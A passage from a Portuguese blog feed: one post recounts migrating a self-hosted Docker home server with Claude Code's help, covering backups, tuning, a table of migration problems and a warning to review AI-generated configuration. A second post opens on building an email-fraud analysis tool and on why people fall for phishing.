<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesma coisa pro Portainer (<code>portainer_data</code>). Qualquer volume definido no bloco <code>volumes:</code> do compose sem host path precisa desse tratamento.</p>
<h3>Cloudflare Tunnel<span class="hx:absolute hx:-mt-20" id="cloudflare-tunnel"></span>
    <a href="#cloudflare-tunnel" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu uso <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> pra acessar todos os serviços fora de casa sem abrir portas no roteador. A migração foi a mais fácil: copiar o arquivo de credenciais JSON do túnel e o <code>config.yml</code>, atualizar os IPs de <code>.145</code> pra <code>.90</code>, e subir o container. O túnel mantém o mesmo ID, não precisa recriar DNS.</p>
<p>Os hostnames ficam em <code>config.yml</code>: portainer, grafana, plex, seerr, qbittorrent, syncthing, radarr, sonarr, bazarr, prowlarr, vault, gitea, kavita, e outros. Tudo acessível via <code>https://&lt;servico&gt;.example.com</code> de qualquer lugar.</p>
<h3>Gitea (registry de imagens)<span class="hx:absolute hx:-mt-20" id="gitea-registry-de-imagens"></span>
    <a href="#gitea-registry-de-imagens" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://github.com/go-gitea/gitea"target="_blank" rel="noopener">Gitea</a> funciona como registry Docker privado na porta 3007. Os projetos Frank FBI, Frank Mega, Frank Yomik e Mila têm imagens Docker que são buildadas e pushadas pro Gitea. Pra funcionar, o <code>daemon.json</code> do Docker precisa de:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;insecure-registries&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;192.168.0.90:3007&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O SSH do Gitea deu problema na migração: o app.ini antigo tinha <code>SSH_LISTEN_PORT=22</code>, mas o entrypoint do container também inicia sshd na porta 22. Conflito. Solução: <code>GITEA__server__SSH_LISTEN_PORT=2222</code> como variável de ambiente no compose.</p>
<h3>Todos os 49 containers rodando<span class="hx:absolute hx:-mt-20" id="todos-os-49-containers-rodando"></span>
    <a href="#todos-os-49-containers-rodando" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O servidor migrado roda 49 containers em 15 stacks. O stack de media sozinho tem 10 containers (<a href="https://www.plex.tv/"target="_blank" rel="noopener">Plex</a>, <a href="https://github.com/Radarr/Radarr"target="_blank" rel="noopener">Radarr</a>, <a href="https://github.com/Sonarr/Sonarr"target="_blank" rel="noopener">Sonarr</a>, <a href="https://github.com/morpheus65535/bazarr"target="_blank" rel="noopener">Bazarr</a>, <a href="https://github.com/Prowlarr/Prowlarr"target="_blank" rel="noopener">Prowlarr</a>, <a href="https://github.com/qbittorrent/qBittorrent"target="_blank" rel="noopener">qBittorrent</a>, <a href="https://github.com/sabnzbd/sabnzbd"target="_blank" rel="noopener">SABnzbd</a>, <a href="https://github.com/Jackett/Jackett"target="_blank" rel="noopener">Jackett</a>, <a href="https://github.com/FlareSolverr/FlareSolverr"target="_blank" rel="noopener">FlareSolverr</a>, <a href="https://github.com/seerr/seerr"target="_blank" rel="noopener">Seerr</a>). Os projetos pessoais (<a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">Frank FBI</a>, <a href="/2026/02/21/vibe-code-fiz-um-clone-do-mega-em-rails-em-1-dia-pro-meu-home-server/">Frank Mega</a>, <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, Mila) somam mais 11. Monitoramento com <a href="https://github.com/grafana/grafana"target="_blank" rel="noopener">Grafana</a>, <a href="https://github.com/prometheus/prometheus"target="_blank" rel="noopener">Prometheus</a>, node-exporter e <a href="https://github.com/google/cadvisor"target="_blank" rel="noopener">cAdvisor</a>. Utilitários como <a href="https://github.com/portainer/portainer"target="_blank" rel="noopener">Portainer</a>, <a href="https://github.com/dani-garcia/vaultwarden"target="_blank" rel="noopener">Vaultwarden</a>, <a href="https://github.com/syncthing/syncthing"target="_blank" rel="noopener">Syncthing</a>, <a href="https://github.com/causefx/Organizr"target="_blank" rel="noopener">Organizr</a>, <a href="https://github.com/containrrr/watchtower"target="_blank" rel="noopener">Watchtower</a>. <a href="https://github.com/go-gitea/gitea"target="_blank" rel="noopener">Gitea</a> como registry Docker privado. <a href="https://github.com/immich-app/immich"target="_blank" rel="noopener">Immich</a> como Google Photos self-hosted. <a href="https://github.com/oae/kaizoku"target="_blank" rel="noopener">Kaizoku</a> pra manga com <a href="https://github.com/Kareadita/Kavita"target="_blank" rel="noopener">Kavita</a> como reader. <a href="https://github.com/ollama/ollama"target="_blank" rel="noopener">Ollama</a> com ROCm. E o <a href="https://github.com/bitcoin/bitcoin"target="_blank" rel="noopener">Bitcoin Core</a>/<a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> indexando a blockchain do NAS.</p>
<h2>Backups: duas camadas<span class="hx:absolute hx:-mt-20" id="backups-duas-camadas"></span>
    <a href="#backups-duas-camadas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Camada 1: snapshots btrfs locais (snapper)<span class="hx:absolute hx:-mt-20" id="camada-1-snapshots-btrfs-locais-snapper"></span>
    <a href="#camada-1-snapshots-btrfs-locais-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <code>/var</code> vive numa partição btrfs de 3.7TB. O snapper cria snapshots automáticos: 7 diários + 1 semanal. São crash-consistent, não application-consistent (postgres pode ficar levemente inconsistente se tiver write pesado no momento do snapshot).</p>
<p>Pra recuperar um arquivo apagado acidentalmente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo snapper -c var list
</span></span><span class="line"><span class="cl">sudo cp /var/.snapshots/5/snapshot/opt/docker/media/radarr/appdata/config/radarr.db <span class="se">\
</span></span></span><span class="line"><span class="cl">        /var/opt/docker/media/radarr/appdata/config/radarr.db</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra rollback completo de um stack:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo docker compose -p media down
</span></span><span class="line"><span class="cl">sudo snapper -c var undochange 7..0 /var/opt/docker/media
</span></span><span class="line"><span class="cl">sudo docker compose -p media up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Camada 2: restic pro NAS (off-machine)<span class="hx:absolute hx:-mt-20" id="camada-2-restic-pro-nas-off-machine"></span>
    <a href="#camada-2-restic-pro-nas-off-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://github.com/restic/restic"target="_blank" rel="noopener">restic</a> roda toda noite às 3h, faz backup incremental pra <code>/var/mnt/terachad/homelab-backups/</code>. Retenção: 7 diários + 4 semanais. Deduplicação por conteúdo, então Plex config (19GB) e Gitea repos (12GB) transferem apenas deltas.</p>
<p>Antes do restic rodar, um <code>pg_dump</code> exporta os bancos postgres (Immich, Kaizoku). Os dumps vão pra <code>/tmp/homelab-db-dumps/</code> e são incluídos no backup.</p>
<p>O que NÃO é incluído no backup (re-downloadável): blockchain Bitcoin (785GB no NAS), imagens Docker (re-pullable), modelos Ollama (re-downloadable), cache do HuggingFace/EasyOCR, transcoding temporário do Plex.</p>
<p>Diretórios grandes e re-downloadáveis foram convertidos em subvolumes btrfs pra que o snapper os ignore: <code>/var/lib/ollama</code> e <code>/var/opt/docker/bitcoin/fulcrum/fulc2_db</code>.</p>
<h2>Tuning de performance<span class="hx:absolute hx:-mt-20" id="tuning-de-performance"></span>
    <a href="#tuning-de-performance" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>btrfs com compressão zstd<span class="hx:absolute hx:-mt-20" id="btrfs-com-compressão-zstd"></span>
    <a href="#btrfs-com-compress%c3%a3o-zstd" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Adicionei <code>compress=zstd:1</code> no fstab pra partição <code>/var</code>. O zstd nível 1 tem overhead de CPU quase zero em NVMe e comprime bem metadata Docker, JSON configs e logs. Dados incompressíveis (SQLite, postgres) são ignorados automaticamente pelo btrfs.</p>
<h3>zram swap<span class="hx:absolute hx:-mt-20" id="zram-swap"></span>
    <a href="#zram-swap" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Com ~30GB de RAM disponível pro sistema (96GB vão pra VRAM), swap comprimido em memória ajuda. O zram cria um dispositivo de swap de ~15GB (ram/2) com compressão zstd, muito mais rápido que swap em disco.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># /etc/systemd/zram-generator.conf</span>
</span></span><span class="line"><span class="cl"><span class="k">[zram0]</span>
</span></span><span class="line"><span class="cl"><span class="na">zram-size</span> <span class="o">=</span> <span class="s">ram / 2</span>
</span></span><span class="line"><span class="cl"><span class="na">compression-algorithm</span> <span class="o">=</span> <span class="s">zstd</span>
</span></span><span class="line"><span class="cl"><span class="na">swap-priority</span> <span class="o">=</span> <span class="s">100</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>btrfs nodatacow em diretórios de banco de dados<span class="hx:absolute hx:-mt-20" id="btrfs-nodatacow-em-diretórios-de-banco-de-dados"></span>
    <a href="#btrfs-nodatacow-em-diret%c3%b3rios-de-banco-de-dados" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Copy-on-write + escrita aleatória de banco de dados = write amplification. Desabilitei CoW nos diretórios que guardam SQLite e postgres:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/gitea/data/gitea.db
</span></span><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/immich/db/
</span></span><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/media/radarr/appdata/config/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>CPU em modo performance<span class="hx:absolute hx:-mt-20" id="cpu-em-modo-performance"></span>
    <a href="#cpu-em-modo-performance" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Num servidor headless, não faz sentido economizar energia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> performance <span class="p">|</span> sudo tee /sys/devices/system/cpu/cpu*/cpufreq/energy_performance_preference</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Persistido via systemd service <code>cpu-epp.service</code>.</p>
<h3>Docker shutdown fix<span class="hx:absolute hx:-mt-20" id="docker-shutdown-fix"></span>
    <a href="#docker-shutdown-fix" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Problema que descobri: o Docker vem com <code>KillMode=process</code>, que significa que no shutdown do sistema, o systemd mata só o dockerd e deixa todos os <code>containerd-shim</code> (um por container, ~49 no meu caso) órfãos. O systemd-shutdown precisa caçar eles um a um depois que o journal já parou, causando um hang silencioso de vários minutos.</p>
<p>Fix:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># /etc/systemd/system/docker.service.d/shutdown.conf</span>
</span></span><span class="line"><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="cl"><span class="na">KillMode</span><span class="o">=</span><span class="s">control-group</span>
</span></span><span class="line"><span class="cl"><span class="na">TimeoutStopSec</span><span class="o">=</span><span class="s">30</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Os problemas que encontramos<span class="hx:absolute hx:-mt-20" id="os-problemas-que-encontramos"></span>
    <a href="#os-problemas-que-encontramos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa é a tabela de problemas reais que tivemos durante a migração. Se você está planejando algo parecido, leia antes de começar:</p>
<table>
  <thead>
      <tr>
          <th>Problema</th>
          <th>Causa</th>
          <th>Solução</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ROCm vê só 15.5GB de VRAM</td>
          <td>Kernel TTM limita pages mesmo com BIOS em 96GB</td>
          <td>Adicionar <code>amdttm.pages_limit=25165824</code> no kernel cmdline</td>
      </tr>
      <tr>
          <td>Todos containers: permission denied em volumes</td>
          <td>SELinux <code>container_t</code> não escreve em paths sem label</td>
          <td><code>security_opt: label:disable</code> em todo serviço</td>
      </tr>
      <tr>
          <td>NFS com <code>:Z</code> falha silenciosamente</td>
          <td>NFS não suporta xattr do SELinux</td>
          <td>Nunca usar <code>:Z</code> em paths NFS</td>
      </tr>
      <tr>
          <td>SQLite quebra com <code>:Z</code></td>
          <td>Relabeling muda contexto, WAL mode falha</td>
          <td>Remover <code>:Z</code>, usar <code>label:disable</code></td>
      </tr>
      <tr>
          <td>Radarr/Sonarr mostraram tela de setup</td>
          <td>Backup em <code>appdata/config/</code> mas compose montava <code>appdata/</code></td>
          <td>Corrigir: <code>appdata/config:/config</code></td>
      </tr>
      <tr>
          <td>Grafana perdeu dashboards</td>
          <td>Named volume não incluído no backup de filesystem</td>
          <td>Backup explícito do named volume</td>
      </tr>
      <tr>
          <td>Plex não encontra mídia</td>
          <td>Path interno mudou de <code>/media</code> pra <code>/data</code></td>
          <td>Restaurar path original no compose</td>
      </tr>
      <tr>
          <td>Seerr não conecta no Plex</td>
          <td>macvlan isolada da bridge network</td>
          <td>Adicionar <code>default: {}</code> nas networks do Plex</td>
      </tr>
      <tr>
          <td>Fulcrum crash: &ldquo;option -b missing&rdquo;</td>
          <td>Env vars não suportadas pela imagem</td>
          <td>Usar flags CLI em <code>command:</code></td>
      </tr>
      <tr>
          <td>bitcoind rejeita RPC</td>
          <td>Bind em <code>::1</code> por padrão</td>
          <td>Adicionar <code>-rpcbind=0.0.0.0 -rpcallowip=172.0.0.0/8</code></td>
      </tr>
      <tr>
          <td>sdbootutil warning no transactional shell</td>
          <td>Deve rodar fora da transação</td>
          <td>Executar <code>sdbootutil update-all-entries</code> no shell normal</td>
      </tr>
      <tr>
          <td>Watchtower permission denied em docker.sock</td>
          <td>SELinux bloqueia acesso ao socket</td>
          <td><code>label:disable</code></td>
      </tr>
      <tr>
          <td>Gitea SSH crash</td>
          <td>Conflito: entrypoint sshd porta 22 + app porta 22</td>
          <td><code>GITEA__server__SSH_LISTEN_PORT=2222</code></td>
      </tr>
      <tr>
          <td>docker-compose não instalado com Docker</td>
          <td>Pacote openSUSE só instala o daemon</td>
          <td>Instalar binário standalone manualmente</td>
      </tr>
  </tbody>
</table>
<h2>O que dizer pro Claude Code antes de começar<span class="hx:absolute hx:-mt-20" id="o-que-dizer-pro-claude-code-antes-de-começar"></span>
    <a href="#o-que-dizer-pro-claude-code-antes-de-come%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se eu fosse refazer a migração do zero, daria estas instruções pro Claude Code na primeira mensagem. Na ordem de importância:</p>
<p>Diga que SELinux está enforcing e que ele NÃO deve usar <code>:Z</code> em nenhum volume Docker, e sim <code>security_opt: label:disable</code> em todo serviço. Diga que <code>/var/mnt/terachad/</code> é mount NFS e que <code>:Z</code> nunca deve aparecer em paths NFS. Diga pra sempre olhar o compose original antes de reescrever e só mudar IPs, paths e nomes de container, sem inventar novos layouts de volume. Avise que named volumes precisam de backup explícito (Grafana, Portainer). Explique que Plex roda em macvlan e precisa de <code>default: {}</code> nas networks. Informe que a GPU é gfx1151, não suportada oficialmente, e que precisa de UMA 96GB no BIOS + kernel TTM params + <code>HSA_OVERRIDE_GFX_VERSION=11.5.1</code>. E diga que Bitcoin/Fulcrum não processam variáveis de ambiente, tudo vai como argumento no <code>command:</code>.</p>
<p>Essas instruções teriam evitado 80% dos problemas que encontramos.</p>
<h2>Layout final do servidor<span class="hx:absolute hx:-mt-20" id="layout-final-do-servidor"></span>
    <a href="#layout-final-do-servidor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>/var/opt/docker/
├── bitcoin/          (bitcoind &#43; fulcrum)
├── cloudflared/      (túnel Cloudflare)
├── frank_fbi/        (análise de fraude por email)
├── frank_mega/       (clone do Mega)
├── frank_yomik/      (tradução de mangás)
├── gitea/            (registry Docker)
├── immich/           (Google Photos self-hosted)
├── kaizoku/          (manga downloader &#43; reader)
├── media/            (Plex &#43; *arr stack)
├── mila/             (bot Discord)
├── monitor/          (Grafana &#43; Prometheus)
├── ollama/           (LLM local com ROCm)
├── rip/              (HandBrake)
└── utils/            (Portainer, Vaultwarden, Syncthing, etc.)

/var/mnt/terachad/    (NFS do Synology)
├── Bitcoin/data/     (blockchain, 785GB)
├── Downloads/        (torrents &#43; nzbget)
├── Videos/           (Radarr movies &#43; Sonarr series)
└── Ollama/models/    (overflow de modelos se disco local encher)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Aviso sobre usar IA pra administrar servidor<span class="hx:absolute hx:-mt-20" id="aviso-sobre-usar-ia-pra-administrar-servidor"></span>
    <a href="#aviso-sobre-usar-ia-pra-administrar-servidor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu usei Claude Code pra acelerar a migração. Criou compose files, escreveu scripts de backup, configurou firewall, diagnosticou problemas de SELinux. Funcionou bem pro meu caso: home server, só eu uso, e eu estava revisando cada passo.</p>
<p>Mas tem armadilhas. O Claude não sabe que <code>:Z</code> quebra SQLite a menos que você diga. Ele não sabe que o Fulcrum não aceita env vars a menos que já tenha visto o Dockerfile. Ele vai inventar layouts de volume &ldquo;melhores&rdquo; que quebram o Plex porque o Plex guarda paths absolutos no banco de dados.</p>
<p>Se fosse produção real: não faça isso sem review. Cada compose file que o Claude gerar, leia inteiro antes de aplicar. Cada comando destrutivo (rollback, delete, recreate), confirme manualmente. E tenha backups testados antes de começar. O Claude é bom pra gerar a primeira versão e diagnosticar erros, mas as decisões de arquitetura e as validações de segurança são suas.</p>
<p>Os posts anteriores sobre o home server que podem dar contexto adicional:</p>
<ul>
<li><a href="/2024/04/03/meu-netflix-pessoal-com-docker-compose/">Meu &ldquo;Netflix Pessoal&rdquo; com Docker Compose</a></li>
<li><a href="/2025/09/09/acessando-meu-home-server-com-dominio-de-verdade/">Acessando meu Home Server com domínio de verdade</a></li>
<li><a href="/2025/09/10/protegendo-seu-home-server-com-cloudflare-zero-trust/">Protegendo seu Home Server com Cloudflare Zero Trust</a></li>
<li><a href="/2025/09/10/instalando-grafana-no-meu-home-server/">Instalando Grafana no meu Home Server</a></li>
<li><a href="/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">Vaultwarden self-hosted</a></li>
</ul>
]]></content:encoded><category>homelab</category><category>containers</category><category>devops</category><category>seguranca</category></item><item><title>Atacando fraudes via email | Frank FBI</title><link>https://akitaonrails.github.io/2026/03/09/atacando-fraudes-via-email-frank-fbi/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/03/09/atacando-fraudes-via-email-frank-fbi/</guid><pubDate>Mon, 09 Mar 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;Esse fim de semana eu trabalhei em 3 projetos. Dois deles eu já publiquei: o &lt;a href="https://akitaonrails.github.io/2026/03/07/crystal-e-um-wrapper-inteligente-pro-ffmpeg-feito-em-3-horas-easy-ffmpeg/"&gt;easy-ffmpeg&lt;/a&gt;, um wrapper inteligente pro FFmpeg em Crystal, e o &lt;a href="https://akitaonrails.github.io/2026/03/07/portando-10-mil-linhas-de-python-pra-crystal-com-claude-easy-subtitle/"&gt;easy-subtitle&lt;/a&gt;, um port de 10 mil linhas de Python pra Crystal em menos de 40 minutos. Continuo melhorando os dois, adicionando features e corrigindo edge cases conforme uso no dia-a-dia.&lt;/p&gt;
&lt;p&gt;Mas o terceiro projeto é de outra natureza. É um projeto de segurança. E a motivação vem de uma dor antiga.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Esse fim de semana eu trabalhei em 3 projetos. Dois deles eu já publiquei: o <a href="/2026/03/07/crystal-e-um-wrapper-inteligente-pro-ffmpeg-feito-em-3-horas-easy-ffmpeg/">easy-ffmpeg</a>, um wrapper inteligente pro FFmpeg em Crystal, e o <a href="/2026/03/07/portando-10-mil-linhas-de-python-pra-crystal-com-claude-easy-subtitle/">easy-subtitle</a>, um port de 10 mil linhas de Python pra Crystal em menos de 40 minutos. Continuo melhorando os dois, adicionando features e corrigindo edge cases conforme uso no dia-a-dia.</p>
<p>Mas o terceiro projeto é de outra natureza. É um projeto de segurança. E a motivação vem de uma dor antiga.</p>
<h2>O problema: emails demais<span class="hx:absolute hx:-mt-20" id="o-problema-emails-demais"></span>
    <a href="#o-problema-emails-demais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Como ex-YouTuber e criador de conteúdo, eu recebo uma quantidade absurda de emails. Convites pra eventos, propostas de collab, ofertas de patrocínio, pedidos de divulgação. Todo tipo de abordagem.</p>
<p>Eu deleto 100% deles. Não leio. A maioria eu marco como SPAM sem sequer abrir. A forma mais fácil de ser reportado é me mandar um email &ndash; eu não ligo, porque eu não preciso. Eu também não atendo telefone. Nunca. E bloqueio automaticamente qualquer pessoa que mande mensagem direto no meu WhatsApp, independente do conteúdo. Meu tempo é valioso demais pra eu ficar triando mensagem de desconhecido. Deleto tudo e sigo em frente.</p>
<p>Funciona pra mim. Mas eu sei que a maioria das pessoas não opera assim.</p>
<h2>O veneno é a VAIDADE<span class="hx:absolute hx:-mt-20" id="o-veneno-é-a-vaidade"></span>
    <a href="#o-veneno-%c3%a9-a-vaidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A maioria das pessoas que cai em phishing por email não cai por ignorância técnica. Cai por <strong>VAIDADE</strong>.</p>
<p>&ldquo;Olá, queremos te convidar pra nosso evento exclusivo.&rdquo; &ldquo;Sua marca foi selecionada para uma parceria especial.&rdquo; &ldquo;Parabéns, você foi indicado como referência no seu setor.&rdquo;</p>
<p>A dopamina bate antes da razão ter chance de intervir. Alguém reconheceu seu trabalho, alguém quer te dar dinheiro. É exatamente aí que o golpista te pega.</p>
<p>Não é o CEO de multinacional que cai no golpe do príncipe nigeriano. É o microinfluencer que recebe uma proposta de patrocínio &ldquo;boa demais pra ser verdade&rdquo;. É o pequeno empresário que recebe um convite pra um evento que parece legítimo. A vaidade desliga o senso crítico.</p>
